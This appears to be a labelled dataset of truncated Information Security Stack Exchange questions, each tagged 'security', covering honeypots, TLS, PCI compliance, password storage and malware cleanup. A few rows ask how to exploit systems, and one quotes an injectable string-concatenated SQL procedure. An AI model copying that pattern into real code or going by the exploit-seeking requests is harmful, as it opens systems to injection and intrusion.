having trouble with honeyd log; it grows way too fast. I started the honeyd daemon with honeyd -l /var/log/honeypot/honey.log -u 1000 -g 1000 -f honeyd.conf /var/log/honeypot/honey.log is 1+ ... ",['security'] "Title: Are mail-servers removed from security concerns in contrast with cloud storage? Body: I have meet people and even businesses that are against using the cloud for data storage invoking security risks. In the same time they seem perfectly fine using email services (usually from obscure ... ",['security'] "Title: Is a One Time Password Scheme based on Diceware viable and secure? Body: I recently learned about diceware and was thinking about how it could possibly be used to create a one time password scheme. I'm thinking S/KEY is probably more appropriate, but would a system that ... ",['security'] "Title: How can I explain SQL injection without technical jargon? Body: I need to explain SQL injection to someone without technical training or experience. Can you suggest any approaches that have worked well? ",['security'] "Title: Will reporting phishing emails cause problems for the victim? Body: On GMail, I've received a phishing email from someone I know, and the email has been sent to other people the victim knows. One of the emails is claiming to be from their GMail address, while the ... ",['security'] "Title: Is there a tree hash form of MAC that can be used when encrypting data for storage on S3 using multipart upload? Body: I am storing files on S3, some of which are very large, and need to be stored encrypted. I had planned on using Galois Counter Mode since it includes the MAC, however this won't work with multipart ... ",['security'] "Title: Mandatory Access Control Rulesets, how to deal with Python, Bash and other interpreters? Body: Question (a) Is there? and if so (b) what is a standard or accepted way for MAC systems to deal with complex software and in particular with Python, Bash and other interpreters? (in terms of ... ",['security'] "Title: Changing user account passwords from PHP script - vulnerabilities? [closed] Body: I started a thread a while back asking for suggestions on a good (good=fairly secure) way to allow users to change their account passwords via a PHP script. (WHY? because on this particular server, I ... ",['security'] "Title: Access via http to other protocols and ports! Body: Our firewall only allows HTTP port 80 but we have detected that a user accesses some other protocols and ports that we deny in our firewall. We know that he has developed an application (Console ... ",['security'] "Title: How valid is this statement “SSL sit between application layer and network layer” Body: taken from http://searchsecurity.techtarget.com/answer/How-does-SSL-sit-between-the-network-layer-and-application-layer The SSL protocol is quite unusual, as it doesn't just operate at one layer. ... ",['security'] "Title: How to subscribe to information about new vulnerabilities in selected products? Body: In order to be informed about critical vulnerabilities in selected products I'd want to subscribe to some list about them. I'd want to configure the list of products by myself. The question: Where ... ",['security'] "Title: Are malicious scripts in batch files detected by antiviruses? Body: we have many scripts in shared folders in our IT Department. Are malicious scripts in batch files detected by antiviruses? ",['security'] "Title: Manually monitoring your PC for Java (Oracle) exploits? Body: Sandboxing and AV's aside, if I wanted to manually look at/monitor my system for where they usually enter it, where could I look for possible malicious Java viruses/activity, e.g., would they first ... ",['security'] "Title: How to protect server uploads Body: I want to upload .jpg images to my Linux server so that clients can re-download the files when they want. Supposing unknowingly there is a trojan, worm or malware in my computer, will these be ... ",['security'] "Title: What is the fail2ban default setting for SSH login attempts? Body: I tried to block myself from my own server to test if fail2ban works correctly, so I tried ssh login and used a wrong password over and over. But I was blocked only after 13 failed logins instead of ... ",['security'] "Title: Do any DNS registrars support multi factor authentication? Body: I am looking for a DNS registrar that supports strong multi-factor authentication. Does any DNS registrar support multi-factor? Is this a legitimate need? ",['security'] "Title: Is it possible to attack system through torrent usage? [duplicate] Body: Possible Duplicate: What can do a hacker with ip address? I am using the Torrent for Downloading the Music and other files. I heard that using Torrent can give IPAddress information to ... ",['security'] "Title: How this kind of mechanism considered as vulnerability? Body: From following news, http://thehackernews.com/2012/12/etsy-for-iphone-loophole-allows.html Someone just setup a proxy to intercept traffic between browser and https protocol, then it called ... ",['security'] "Title: What did the certificate authority do with my CSR? Body: I needed to reach a web service which is not mine. The IT department of that web service has asked me to send them a CSR (certificate signing request). Then, he will send me back a signed certificate ... ",['security'] "Title: Where can a virus or other malware “hide” on common PC and Mac hardware? Body: I'm looking for a detailed list of locations that viruses can ""hide"" in modern hardware even after a reboot. Some things that come to mind include Boot BIOS/Firmware CPU Microcode Connected PCI ... ",['security'] "Title: Lamp server sandbox for testing malicious php script Body: Fortunately despite recently becoming a full time web developer, security is something I take very seriously. There's a developer that I work with who's system was recently compromised with obfuscated ... ",['security'] "Title: Key Management for PCI and Payment automation Body: We're a bootstrapped startup looking to achieve PCI compliance, we've almost nailed all requirements but I recently came across this blog post which totally derails our plans and efforts : ... ",['security'] "Title: BEAST: IIS6: Failing PCI scan - are these ciphers OK? Body: Our PCI compliance scanner, TrustWave, have failed our Win 2003/IIS6 site on BEAST because of the following cyphers: Cipher Suite: SSLv3 : DES-CBC3-SHA Cipher Suite: SSLv3 : RC4-SHA Cipher Suite: ... ",['security'] "Title: Is there a site like plaintextoffenders.com that shames companies that force insecure passwords? Body: I recently came across http://plaintextoffenders.com/ and I liked the idea. I wondered if there was a similar site that shames websites that force insecure passwords? I personally have a list of a ... ",['security'] "Title: Why don't people hash and salt usernames before storing them Body: Everyone knows that if they have a system that requires a password to log in, they should be storing a hashed & salted copy of the required password, rather than the password in plaintext. What I ... ",['security'] "Title: Teaching a loved one about secure coding practices Body: This might be far too narrow, but it is a unique problem to ITSec professionals. A loved one is just starting out in a new programming career and I get the joy of watching her learn the most basic ... ",['security'] "Title: I think my server is under attack, what can I do to stop it? [duplicate] Body: Possible Duplicate: Invalid users trying to log in to my server I have a small ssh server mostly used for file sharing. A couple of other people and I use it and there are only 3 users. ... ",['security'] "Title: Is there something like the OWASP top 10 for BizTalk applications? Body: I'm familiar with the OWASP top 10, for web applications. Is there something simular for BizTalk applications? ",['security'] "Title: Firewall philosophy Body: I've always been taught/believed that with a corporate firewall, you block all outgoing traffic to start, then open up only the holes you need for specific traffic. This makes sense to me from both ... ",['security'] "Title: Banking application login leaks information Body: My question is regarding the online banking application of a large credit card organisation. The login process for this application works as follows: User visits the homepage of the bank. User ... ",['security'] "Title: Shellcode Segfault mid execution? Body: In doing a university assignment, we are launching a shell on a remote server. That's all fine, I have connect back shell code, and when I hardcode the hex attack string into the server and jump to ... ",['security'] "Title: openssl, create RC4-SHA certificate Body: gmail.com Google, fb,... use RC4-SHA. How does one create RC4-SHA self signed cert ? Or even with aes128 key ? I tried using using ""genrsa -aes128"", resulting cert was DHE-RSA-AES256-SHA openssl ... ",['security'] "Title: How are CVE identifiers assigned and managed? Body: CVE Identifiers (a.k.a. CVE IDs) are used to uniquely identifier a particular vulnerability. We've all seen them on various bulletins, and they're useful when researching an issue. But how are they ... ",['security'] "Title: What should I do if I type my password in the address bar, or type password in google search? Body: When someone accidentally types his or her password in one of the following three locations and presses enter, what should they do? username text box address bar Google search What do you suggest, ... ",['security'] "Title: How to increase Windows PowerShell WebAccess security? Body: What are some recommended techniques to improve the security of powershell? Google returns many articles about powershell security like these: PowerShell’s Security Guiding Principles TechNet Edge ... ",['security'] "Title: vbs agent kz trj [duplicate] Body: Possible Duplicate: Index page has been compromised, suspicious files are showing up I have vbs agent kz trj one my laptop. my httpd.exe and mysql.exe is infected and deleted from Xampp. ... ",['security'] "Title: Router admin password was changed, how did this happen and how to prevent [closed] Body: Internet was extremely spotty for about a week. I was on/off cycling the cable model and router almost daily, before I tried to sign into my router (198.162.1.1). When I did I was presented with a ... ",['security'] "Title: how to stop write downs Body: Consider a scenario with two security levels, Alice and Bob. Bob is Alice's boss. Bob must be able to read Alice's documents but not write anything to her documents. I am using encryption keys to ... ",['security'] "Title: My website keeps getting infected [closed] Body: I recently started getting this really weird problem where a virus seems to pop up as frequently as once a week in my site. It is running on BlogEngine and basically what happens is this: A bunch of ... ",['security'] "Title: What are the best Nmap Scripting Engine (NSE) service discovery scripts? [closed] Body: Using nmap -sV can be quite verbose can -sU can take a very long time especially with -p 0-65535. To narrow your results and enumerate interesting services the wealth of NSE scripts can be very ... ",['security'] "Title: What are some steps to take for securing a Linux server that aren't in this list of obvious ones? Body: Obvious things: Disable root login (rather, don't enable it) Secure SSH (no root login, key auth only, timeout after inactivity, whitelist users who can SSH in, etc.) IP Tables firewall whitelisting ... ",['security'] "Title: What are some risks of purchasing a “used” domain name Body: If you purchase an existing domain name that was already used by someone else what are the ways in which the domain could have been broken by the previous owner? Are such problems common and are there ... ",['security'] "Title: How can an outsider tap into communications between two physical sites? Body: When referring to 'Sites' - I am not talking about a website, but of a physical place where a company resides. Today, to secure communications between two sites - Let's say between an office in ... ",['security'] "Title: How prevent Javascript from obtaining my location Body: I usually use a proxy server to browse anonymously. Now I realize that it is possible to find the location of a user using the Geolocation API. How to anonymously browse without disabling Javascript? ",['security'] "Title: Possible ways to track down anonymous mail senders? Body: In my previous post here How can I send emails anonymously? the community framed and guided how we can send an anonymous emails through various ways which makes me thought about the following things ... ",['security'] "Title: Windows Firewall accepts a three-second unicast response from any source Body: I have read this article but still has some doubts may be after that... The Windows Firewall feature in Microsoft Windows XP Service Pack 2 (SP 2) accepts a three-second unicast response from ... ",['security'] "Title: Risks of running Honeypot [specific setup] Body: I'm planning to run a Honeypot with the following network setup: In order to avoid the honeypot coming in direct contact with my Internal network, I put it behind a firewall configured on a Linux ... ",['security'] "Title: SQL — using string concatenation, how can I exploit this procedure? Body: I have a simple SP create procedure [dbo].[test] @str varchar (100) AS BEGIN select * from [AdventureWorks2012].[HumanResources].[Employee] where JobTitle like '%' + @str +'%' END GO Given this ... ",['security'] "Title: RSA and encrypted authentication Body: Symmetric algorithms such as AES provides modes such as GCM which can be used for authenticated encryption. Assuming that I'm using RSA instead of AES, does it still make sense to add authentication ... ",['security'] "Title: Secure Encrypted Chat Protocol [duplicate] Body: Possible Duplicate: Is there a way to negotiate a secret between 2 parties with no prior knowledge? Imagine two clients who want to establish a secure connection over a server. Both clients ... ",['security'] "Title: Does having a passphrase and SSH key qualify as two factor authentication for PCI? Body: I am working on getting our company's servers PCI SAQ-C compliant (credit card data passes through our system but is not stored by our system). We have SSH access to administer the servers and all ... ",['security'] "Title: Any way to use Java (sun micro) without any concern of infection Body: My antivirus has kept removing a java exp virus only for it to keep returning. Yesterday in frustration i decided to uninstall Java until i see some positive news about any patches regarding the ... ",['security'] "Title: Encoding HTML email content Body: Say I have a form on my website. The input elements of the form are: email address, name and some feedback textarea. The server-side application that this form is submitted to will send an HTML ... ",['security'] "Title: Eavesdropping in VoIP. Any other software besides Ethereal? [closed] Body: In school our professor demonstrated how the software Ethereal could be used to eavesdrop VoIP calls. That software no longer seems to exist since the webpages are no longer around. What other ... ",['security'] "Title: Is it actually feasible or useful to use a high number of proxy servers? Body: In the movies, it's not uncommon to see the digitized global map projected on a huge wall with a line of light (presumably a user's connection) travelling back and forth all over the globe in a ... ",['security'] "Title: Possible to execute a non-persistent XSS attack without using the url/query string? Body: I've been reading up on non-persistent XSS and all of the examples I have found use the situation where a webpage takes something from the url/query string and places it on the page. Is there any ... ",['security'] "Title: access to email adresses Body: I am taking part in an online voting photo contest. In order to vote, you have to register using your email address. Is it possible that people who run the site will be able to see my email address ... ",['security'] "Title: How do certification authorities store their private root keys? Body: Knowledge of a CA private key would allow MitM attackers to transparently supplant any certificates signed by that private key. It would also allow cyber criminals to start forging their own trusted ... ",['security'] "Title: How can I prevent users from entering bad passwords in my web application? Body: There is a long discussion on whether it's the responsibility of the user or the system administrator to deal with the strength of the password. Obviously, the password is a very private thing, but ... ",['security'] "Title: What is the most common default security setting on most consumer and small business Wi-Fi routers? [closed] Body: I am writing a paper right now which involves Wi-Fi security (I'll spare you the details). A major argument in this area depends on the assertion that Wi-Fi routers come defaulted as open networks (ie ... ",['security'] "Title: How effective is Windows Task Manager at identifying keyloggers? Body: I just hit upon an idea I have used in the past to distinguish between two instances of the same program, one of which was hung. While Task Manager is open and visible and sorted by CPU usage, I pick ... ",['security'] "Title: Dealing with a (possible) virus on both MacOSX and iOS Body: The symptom: On MacBookAir, in Safari, FF and Chrrome, when accessing www.google.com, I get redirected to a http://developer.yahoo.com/yql/ web page. On iPhone, when navigating to google.com I get ... ",['security'] "Title: Updated list of bad/overused passwords [closed] Body: I am building a website, and I'd like to make sure the users don't put an overused password like password or password1.. or any of these Is there a place that constantly analyzes hacked websites ... ",['security'] "Title: What is the first step in auditing the security efficiency of a simple website? Body: I am asked to write a first technical audit about the security best practices to improve a PHP web-site security. I am wondering from where to start? Is there a famous audit forms to analyze and ... ",['security'] "Title: windows firewall disabled with Norton Internet security or Norton Smart Firewall? [closed] Body: My Company decide to Change antiviruses and anti-spywares and firewalls. How to apply changes in all clients and servers safety? Norton say: ( in this article): When you are using Windows ... ",['security'] "Title: signatureAlgorithm vs. tbsCertificate -> signature Body: From the X.509 RFC: Certificate ::= SEQUENCE { tbsCertificate TBSCertificate, signatureAlgorithm AlgorithmIdentifier, signature BIT STRING } TBSCertificate ::= ... ",['security'] "Title: Seeing outboud connections to random domains, how do I isolate the app responsible? Body: Last night I loaded up Fiddler2 to do a little debugging and I saw three connections to domains like hghefhhig How can I go about isolating the application responsible? I was thinking possibly ... ",['security'] "Title: RADIUS proxy chains Body: RADIUS is a widely deployed remote authentication protocol. I'm looking here at its use in wireless roaming. The RADIUS protocol allows for proxies and chains of proxies: |CLIENT|<->|Access ... ",['security'] "Title: How to safely “remember” login information in a program [duplicate] Body: Possible Duplicate: How to Securely Implement a “Remember Me” Feature? I have a program that communicates with a server. The user must log in with the application which runs on their ... ",['security'] "Title: How can one decrypt a SSL/TLS session? Besides the private key what else is needed? Body: Suppose I have a non-DHE-based TLS session stored in a Wireshark or Netmon trace. What is required to decrypt this data? Is the private key of the certificate all that would be needed? What ... ",['security'] "Title: Password recovery protocol for user account [duplicate] Body: Possible Duplicate: Can anyone provide references for implementing web application self password reset mechanisms properly? I need to create a password recovery mechanism for a user account ... ",['security'] "Title: Does shuffling a hashed password increase its security? Body: I am making a web app and I'm now stuck on making the login secure. I'm thinking of adding a salt to a user-inputted password and then hash it. (md5 or sha for example) and then I will reshuffle the ... ",['security'] "Title: I need explanation on how serious these vulnerabilities are? Body: I have found two vulnerabilities on my college site and I want to report them but don't know if these are ""really"" vulnerabilities : RFI inside SWF file. Example: ... ",['security'] "Title: Is there guidance that says all sessions to be logged off when a user changes their password? Body: Often when an account is hacked, security guidance is to change your password. However I've noticed that changing a password sometimes isn't enough to log out of other sessions that are active. Is ... ",['security'] "Title: Two-Factor Authentication: When is it worth it? Body: I was reading this article, and it triggered the question: Why not use two factor authentication? In his case, it both possibilities were enabled anyway, so this looks to me like it's two attack ... ",['security'] "Title: How to tell what viruses are covered by your anti-virus software Body: One of our corporate twitter accounts recently started sending out DMs to its followers. Looking at the content of these it seems we'd become infected with Troj/Mdrop-EML. All computers on our ... ",['security'] "Title: PGP: How is it possible for me to read a sent mail, encrypted by me with the recipient's public key? Body: I'm quite new to OpenPGP and am just starting to use it with Thunderbird. When I encrypt a mail with a recipient's public key, using Thunderbird + Enigmail + OpenPGP, and send it, I can find the ... ",['security'] "Title: Client Certificate in SSL HandShake insecure? Body: Imagine we have an application which is trying to establish a secure connection to a server by using SSL. Now we want the user to authenticate himself with a client certificate which he stores in an ... ",['security'] "Title: Do I need to keep the NTLM token in the HTTP Authorization header a secret? Body: I'm troubleshooting a problem with one of our vendors and plan to send them a Fiddler trace of the http traffic between the client and our servers while replicating the issue. Our servers use NTLM ... ",['security'] "Title: How can I send emails anonymously? Body: How can I send email anonymously? We used to track email's IP and its location based upon the email headers, and there are many possible ways to track the email's id's which were sent by the anonymous ... ",['security'] "Title: Better way to import Win32 APIs from injected shellcode Body: I'm injecting native x86 code into a .NET application, via a TLS callback in the binary image. Unfortunately, .NET executables only import mscorlib.dll within the PE, and have kernel32.dll mapped ... ",['security'] "Title: Are honeypots successful in preventing attacks? Body: I've been looking to set up a honeypot, but it seems that honeyd's source code is out of date, and there are few other options. Which brings me to the question, does anyone employ honeypots as a ... ",['security'] "Title: TOR and sniffing data Body: If I'm not mistaken, TOR works opening a random anonymous path between two hosts using others computers that have TOR installed no? Then... everybody can sniff the data of the others no? Just wait ... ",['security'] "Title: DoS anomaly-based detection: simplest approach beside simple threshold Body: As I learned, there is this technique in which the number of bytes/packets/frames of aggregated traffic is being checked to see if they deviate from a normal behavior. Then the time slot of that ... ",['security'] "Title: Stack Overflow on ARM : Null Bytes Issue Body: I am trying to follow the research paper by Tiger Security for ARM Exploitation : Link For the simple stack overflow exploitation, the code is : #include <stdio.h> #include <string.h> ... ",['security'] "Title: When can closing port 80 be a problem? Body: Since port 80 is typically used for HTTP must a web server have it open or otherwise configure links to specify a different port (e.g. http://www.example.com:8080/mypage.html)? For example this site ... ",['security'] "Title: Implementing a commitment scheme in java Body: Are there any implementations of cryptographic commitment schemes available as API/libraries in Java? I looked around in the security package and couldn't find much. Any help is appreciated. Thanks ",['security'] "Title: If a port is closed how come you can still use it? Body: What does it actually mean for a port to be closed or stealthed? According to tests I've run all my ports (tested) are stealthed but clearly I can still use the internet. Also are the terms ""blocked"" ... ",['security'] "Title: How valuable is secrecy of an algorithm? Body: On the surface, the inadvisability of security through obscurity is directly at odds with the concept of shared secrets (i.e. ""passwords""). Which is to say: if secrecy around passwords is valuable, ... ",['security'] "Title: Does “late launch”/“dynamic chain of trust” allow remote attestation? Body: One of the features support by modern processes and Trusted Platform Modules is ""dynamic chain of trust"" (also known under the acronym DRTM, for dynaimc root of trust measurement). This allows ... ",['security'] "Title: What is the most hardened set of options for GCC compiling C/C++? Body: What set of GCC options provide the best protection against memory corruption vulnerabilities such as Buffer Overflows, and Dangling Pointers? Does GCC provide any type of ROP chain mitigation? Are ... ",['security'] "Title: What is the opaque field in HTTP Digest Access Authentication used for? Body: Is the opaque field really used for anything? It is specified in the RFC, but is not implemented in Apache. Also, the RFC does not state a reason for having opaque, it is only mentioned as a value ... ",['security'] "Title: Detecting end-state of decryption process with unknown key Body: Note: this question arises purely from a theoretical interest in security research. Frequently in popular fiction we see white-hat hackers decrypt secret information in a matter of seconds. While ... ",['security'] "Title: Updated version of Browser Security Handbook Body: Google's Browser Security Handbook is a brilliant resource for web application security, and in particular, for understanding how browsers behave. It discusses many issues, and contains tables ... ",['security'] "Title: Issuing SSL certificates for device automation software package without domain names Body: We are developing the automation software for Windows which communicates with the certain devices via our own private connection protocol. That software package consists of several server (including ... ",['security'] "Title: Why most of the Websites supports only Paypal for online transaction? [closed] Body: Background : There are several electronic and email based online transaction system worldwide. For example, Paypal, MoneyBooker, Alert Pay and others. My Question : Why most of the Websites supports ... ",['security'] "Title: HTTPS or HTTPS within VPN for WIFI security? Body: I read that HTTPS can be comprimised and is not as safe as you think. With a free VPN you have to put some trust in a free VPN server with your data, and surely your data from when it leaves the vpn ... ",['security'] "Title: smart AND secure cloud document archive Body: I am thinking of creating a cloud-based document archive. The intention is to make it impossible for the system to read the users' files, and be more than just a storage provider. Looking at this ... ",['security'] "Title: Why block outgoing network traffic with a firewall? Body: In terms of a home network, is there any reason to set up a router firewall so that all outgoing ports are blocked, and then open specific ports for things such as HTTP, HTTPS, etc. Given that every ... ",['security'] "Title: Is there a table that compares hashing algorithms by speed, relatively (machine independent) Body: As far as I understood*, one of the major criteria when choosing a password / salt hashing algorithm is it's speed. To prevent brute force attacks, a slower algorithm is better (and also makes it more ... ",['security'] "Title: Why do we ask for a user's existing password when changing their password? Body: In a web applications context, when a user wants to change their current password, generally they would have to enter their current password first. However at this point, the user has already been ... ",['security'] "Title: Throttling failed login attempts: exponential timeout? by IP? using a session cookie? captcha? Body: I'm beginning to think this is not as simple as it looks, and many ""accepted"" answers here and in SO have alternative answers that criticize them. Here is what I have gathered so far Most of what I ... ",['security'] "Title: Is snail mail or HTTPS webmail safer for sensitive information? Body: I've been curious about the safety of e-mail lately. As far as I know, the most vulnerable point of communication is the local network you send your mail from. That is unless you're trying to keep ... ",['security'] "Title: Should I give developers admin rights or leave as power users? [duplicate] Body: In my organization we are in the process of upgrading everyone to Windows 7.We have all of our users configured as power users. The issue we are running into is this: Should we give developers local ... ",['security'] "Title: How can a certificate be valid in the Hybrid Model but not in the Chain Model? Body: All dates in European format! I am learning about validity models, but the solution for this assignment confuses me. Translation: The relevant data for the applicable certificates are shown ... ",['security'] "Title: what is the difference between boot-sector virus and rootkits? Body: I have read the definition for both and also read about a few examples for both the cases. I'm still not very sure what the difference is. Is the difference blurred or are there some specific ... ",['security'] "Title: Insider threats for Private Clouds Body: Any one has any information or pointers to insider threats when cloud platforms like openstack etc deployed within corporate data centers ? What are different kinds of internal threats in general ... ",['security'] "Title: Identifying device based on the MAC address Body: Suppose we know that MAC address A belongs to a certain device (say an iPhone 5), and MAC address B also belongs to an iPhone 5. If we have a MAC address C which is in between A and B, does this ... ",['security'] "Title: Why unsupervised anomaly-based intrustion detection training data should be normal or less noisy Body: I recently read a paper which stated that ""Traditional anomaly detection algorithms require a set of purely normal data from which they train their model"" [1]. But as in K-means, or other unsupervised ... ",['security'] "Title: How is the available entropy in /dev/random calculated (or estimated)? Body: It seems (to a non-expert) that /dev/random is acclaimed to be useable as a source of pure random data. However, I am curious as to the analysis of the file /dev/random. /dev/random is a collection ... ",['security'] "Title: How do you verify a certificate belongs to a domain? Body: I'm using PHP and trying to verify a SSL certificate belongs to the SMTP domain/IP I'm connecting to. Currently I can verify the certificate is valid using the following code $resource = fsockopen( ... ",['security'] "Title: Protect database resources from fake data inputs via web forms Body: Scenario: I'm working on a project that needs to accept large amounts of data (customer data) from its users. So it can be normal to have a user trying to add 10,000 or 100,000 records at a time. In ... ",['security'] "Title: Which key usages are required by each key exchange method? Body: I'm only really concerned with RSA keys, so the exchange methods are RSA (generate a key, encrypt it, and send it over) and [EC]DHE_RSA (generate an ephemeral [EC]DH key, sign it, and use it for key ... ",['security'] "Title: How to store OTP seed securely at the validating server Body: 'Everyone' knows when storing passwords in a database this should be done securely for example by using salts and an appropriate hashing algorithm. Most OTP (One Time Password) solutions are based on ... ",['security'] "Title: When distributing a CRL over HTTP, what is the optimal refresh time? What logic affects this decision? Body: When distributing a CRL over HTTP, what is the optimal cache and max age settings (etc) for this distribution mechanism? Related information on a different answer Consider using HTTP instead ... ",['security'] "Title: What XSS attacks doesn't “Reflective XSS Protection” defeat? Body: Its been quite a while since I have played with cross site scripting vulnerabilities but today I came across a website today that was crying out to be tested for a basic XSS vulnerability. So ... ",['security'] "Title: Good Practices to secure a Gaming Web Server, Memcached Server & MySQL Server Body: We have developed Game for Facebook platform. We have several Gaming Web Server, Memcached Server & MySQL Server. Here we have to work with facebook Payment API. We need to secure enough our ... ",['security'] "Title: AIA/CRL locations for Offline Root Body: I've read the answer to the following ""Checklist on building an Offline Root & Intermediate Certificate Authority (CA)"" and I have one questions based on the system I am trying building It's an ... ",['security'] "Title: What is a Shrink Wrap code attack? Body: On my C|EH course I have heard about term ""Shrink Wrap Code Attack"", but we've only mentioned it. Now trying to do some research and refresh the topics, I can't seem to find serious description of ... ",['security'] "Title: Can i apply the 270Mbps mode on my Netgear CBVG834G or increase frequency range? [closed] Body: I have a two floor apartment and my router is downstairs. My reception is lousy on the 1st floor and I am trying to find a solution without having to buy new equipment. I've tried to change the ... ",['security'] "Title: What reputable site should I download Putty from? Body: I recently did a Bing search for Putty and can only guess at which distribution is ""trusted"", contains no malware, or sleuthing code. If you needed to download Putty for a high security Windows ... ",['security'] "Title: applications of linear algebra to “security”? Body: I am taking a course in linear algebra which was to be credited towards a program in applied math. My interests have moved towards matters of ""security"" (information, network, cryptographic, etc.). ... ",['security'] "Title: Key stretching an hash Body: if I implement an function which hashes the first half of my password with MD5 and the second half with SHA2 and MD5. Is there a security issue when I put these two hashes together to a 64 character ... ",['security'] "Title: Use truecrypt to make data unrecoverable Body: If I format all my drivers c,d,e,f and then make a truecrypt volumes equal to drive size then delete it 'the voulme' will that make the old data unrecoverable ex. d:= 30g i use truecrypt to make 30g ... ",['security'] "Title: How to restrict SSH access outside of LAN? [closed] Body: We have several dedicated servers. We need to ensure ""root"" user can not be accessible through SSH outside of LAN. I have searched and found the followings # ... ",['security'] "Title: Determining how my Wordpress website was compromised Body: I have got a blog running Wordpress. The last time I visited my blog I realized it was hacked. The website redirects to a phishing page of paypal meanwhile other links a opening fine. I want to know ... ",['security'] "Title: How to write Snort rules based on MAC address? Body: I would like to create Snort rules based on MAC addresses instead of IP addresses. Most devices on the network are DHCP assigned, and I would like to ignore certain traffic (ex: Dropbox) for some ... ",['security'] "Title: GPS tracking device [closed] Body: Could anyone please tell me if there exists a GPS tracking device that is light, small and safe (e.g., does not cause harmful radiation) and can be tracked back via say an app on a phone? ",['security'] "Title: Finding Ip from an ether adress [closed] Body: I am using cocoa packet analyser because I am suspecting some intrusion. I find one special packet corresponding to arp protocol with some special ether adress. How could I find the ip related to this ... ",['security'] "Title: uninstall and reinstall after hacking [closed] Body: My computer has been hacked. If I uninstall and reinstall do I loose my files? The facebook tech tried to sell me a number of pkgs ranged $149-$299 and told me that my account was hacked as was my ... ",['security'] "Title: Keeping user session alive - security considerations Body: We have recently developed some functionality for our web app to allow a user to remain logged in indefinitely, and are interested in knowing the security ramifications of doing so. The goal of this ... ",['security'] "Title: CSRF protection for AJAX when using multiple browser tabs Body: Say I've got that web application that has a CSRF protection according to the Synchronizer Token Pattern. The server expects a valid CSRF token in each POST request when the user is authenticated. Now ... ",['security'] "Title: How to distribute client certificates without exposing private key? Body: I'm desgining a B2B web service based on WCF. As the number of clients is relatively small and security is a priority, i have chosen to go with X509 client certificates for client authentication. I'm ... ",['security'] "Title: Consequences of using -s and -d arguments in iptables Body: We are studying iptables for a Computer Systems Security course. We are confused as to what happens when the -s and -d arguments are both used in the same rule, such as: iptables -A OUTPUT -s ... ",['security'] "Title: How can Facebook 2FA mechanism be hacked? [closed] Body: two-factor authentication process that uses one-time random code,I think season hijack can be used, I would like to know if there are more techniques to crack it. With season hijack, I think that if ... ",['security'] "Title: How to get private key from certificate and base 64 encoded key? Body: Sorry for the poor question. Suppose I have a certificate of the following lines: -----BEGIN CERTIFICATE----- //22 Lines of encoded junk -----END CERTIFICATE----- And then this base64 encoded ... ",['security'] "Title: Is this a web attack I should be concerned about - trying to enter code for form vars Body: I have a created a simple CGI script running on a web server where a user can login using a username and password. The username and password are entered via a html form and the form POST's the data ... ",['security'] "Title: Anomaly Intrusion Detection relevant features Body: I am researching on Anomaly Intrusion Detection to implement one. At this phase, I am searching for relevant features to network traffic. I found 41 features from KDD CUP'99 project (the paper: WENKE ... ",['security'] "Title: Is it safe to use a weak password as long as I have two-factor authentication? Body: I'm careful to use strong passwords (according to How Big is Your Haystack, my passwords would take a massive cracking array 1.5 million centuries to crack), I don't reuse passwords across sites, and ... ",['security'] "Title: Secure Wireless Implementations Body: For quite a while now, I have grown to treat wireless networks as inherently insecure. As part of this, I put them on the public Internet and require VPN connections to access company resources. My ... ",['security'] "Title: SRP: Can the client authenticate using only the stored hash? Body: Based on the description of SRP, it seems that it would be possible for a client application to cache the hashed password x and reuse it for subsequent authentifications. The actual password p doesn't ... ",['security'] "Title: Apache2 SSLCipherSuite - why use anything other than high? Body: I am currently participating a lecture in my university that is called ""system architecture and security"". One part of this semester is to setup our own slice and hack each others. We also have to ... ",['security'] "Title: Cloud application Vulnerability assessment Body: Do you think server side assessment of application is important when application is hosted on a cloud like Amazon? Assessment on software used to host the application not the actual application, e.g. ... ",['security'] "Title: Is there a website or free downloadable program to identify and remove malware from an ISO file? Body: Is there a website or free downloadable program that allows a user to identify and remove multiple types of malware from an ISO file? ",['security'] "Title: Tools for analyzing Perl 5 code? Body: I'm looking for good tools for analyzing and/or detecting security issues in a large software project written in Perl 5. It could be static or dynamic analysis. I know that Perl is undecidable, but ... ",['security'] "Title: User authentication + database encryption with same password Body: I'm working on a private project where I need to store a users financial data in a database. I'll encrypt this data using AES, and I'll be using scrypt to generate a AES ecnryption key from a more ... ",['security'] "Title: Why are triggers not often used to secure a database? Body: I did an intern for a company becoming PCI compliant and instead of using triggers to prevent SQL injection, I went through 1000s (if not more) lines of web-app code and called functions every time ... ",['security'] "Title: Passwords In Securing Network Devices Body: I don't do anything with corporate IT and networking, but I know enough to handle and get networks going. Anyway, something I ran into in my travels when it comes to the occasions of working on ... ",['security'] "Title: Key Exchange using PKI Body: I'm new to the field of cryptography and trying out a sample program to understand PKI key exchange mechanism. I tried creating a self signed certificate using openssl openssl req -x509 -nodes ... ",['security'] "Title: What software can I used to edit and replay packets? [closed] Body: From the Wikipedia article on anti-replay: The main goal of anti-replay is to avoid hackers injecting or making changes in packets that travel from a source to a destination. Is this commonly ... ",['security'] "Title: What is HiASLR? Body: I have been hearing this word the whole day long. Can any one give me a brief intro? How does it differ from ASLR? ",['security'] "Title: Finding pre-image of MD5 hash [closed] Body: I have the following requirement for hashing using MD5. H(A,B,C,X); Where values A,B & C are given. However X is not given. I would like to find out what value of X would give a hash beginning ... ",['security'] "Title: Should Stack Exchange be more obscure in its systems' structure? Body: I've noticed that Stack Exchange always reveals the detailed structure of its servers and systems (see these blog posts). And also the exact results of their tests and points of weakness (see the old ... ",['security'] "Title: VMware Workstation 9 Security Best Practice Guides Body: Could someone please be able point me in the direction of where I could find some best practice security guides for VMware Workstation 9 please? I've searched the VMware site and to say it's badly ... ",['security'] "Title: Cufon or Prototype as an attack vector for Blackhole exploit kit? Body: I've been asked to look into the security of a client site that's apparently throwing antiviral messages when visited. Specifics: It's being detected as a Blackhole exploit kit inside of a Cufon ... ",['security'] "Title: Different Security Issues Depending on OS? [closed] Body: I'm interested in learning more about OS specific security issues if there are any. I'm very new to this topic but I want to learn more about if there are specific security vulnerabilities associated ... ",['security'] "Title: Android and AES side channel attacks Body: I am working on a project that will involve symmetric AES 128 bit encrypted communication between an Android application and a bluetooth device. Are there any public AES libraries available for ... ",['security'] "Title: Where can I find documented details of virus so that I might be able to find out why I am infected? Body: My AV detected that some computers in our network are infected with Win32.Sality.Y. Is there any good place I can find the documented details of this virus, so that I can (generally) how the virus ... ",['security'] "Title: Whats the best IT Security Web Forum? [closed] Body: I'm looking for a good source for IT Security, specifically information for Information Security Professionals. I'm wondering what your favorite is? ",['security'] "Title: Are there security or privacy concerns in using YaCy as a substitute for Google or Duckduckgo? Body: The concept of YaCy of 